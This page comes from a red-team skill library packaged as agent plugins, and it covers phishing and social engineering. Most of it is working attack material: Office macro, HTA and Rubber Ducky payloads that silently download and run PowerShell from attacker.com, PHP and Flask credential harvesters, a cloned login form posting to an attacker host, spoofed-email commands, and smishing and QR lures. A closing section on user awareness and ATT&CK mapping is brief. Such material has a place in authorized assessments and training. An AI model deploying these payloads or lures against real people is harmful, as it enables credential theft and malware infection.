secskills
secskills / offense / performing-social-engineering

performing-social-engineering

offense verified 2026-07-27

Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements.

$ /plugin install secskills-offense $ /plugin install secskills-core

When to Use

When NOT to Use

(headers, links, attachments); analyzing-malware for a detonated payload

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish Campaign Setup:

  1. Email Templates - Create convincing phishing emails
  2. Landing Pages - Clone legitimate sites for credential harvesting
  3. Sending Profiles - Configure SMTP server
  4. Groups - Import target user lists
  5. Campaign - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

Credential Harvester:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f ceo@company.com \
  -t target@company.com \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to target@company.com \
  --from ceo@company.com \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

Malicious Office Macros:

' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub
Bracket-broken: I[E]X is IEX, net.web[c]lient is net.webclient, download[s]tring is downloadstring. Written literally, this block is the stock TrojanDownloader:O97M signature. See "Antivirus false positives" in the repo README.

Malicious PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

Malicious HTA:

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

Simple PHP Harvester:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask Harvester:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

Common Pretexts:

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

Ducky Script Example:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

Pretexts:

Payload Ideas:

QR Code Phishing

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

Watering Hole Attacks

  1. Identify target organization's commonly visited sites
  2. Compromise the website (or create lookalike)
  3. Inject malicious code (exploit or profiling)
  4. Wait for targets to visit and get compromised

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting

Fake Update Pages

<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

Pretexting Scenarios

IT Support:

Executive Impersonation:

Vendor/Partner:

Delivery/Shipping:

LinkedIn/Social Media Reconnaissance

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

Payload Delivery Methods

Links:

Attachments:

Advanced:

Tracking and Reporting

Email Tracking:

<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

Link Tracking:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

Metrics to Track:

OpSec Considerations

Infrastructure:

Email:

Detection Avoidance:

Tools Summary

Defensive Awareness

Teach users to recognize:

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Reconnaissance (TA0043)

Resource Development (TA0042)

Initial Access (TA0001)

Execution (TA0002)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References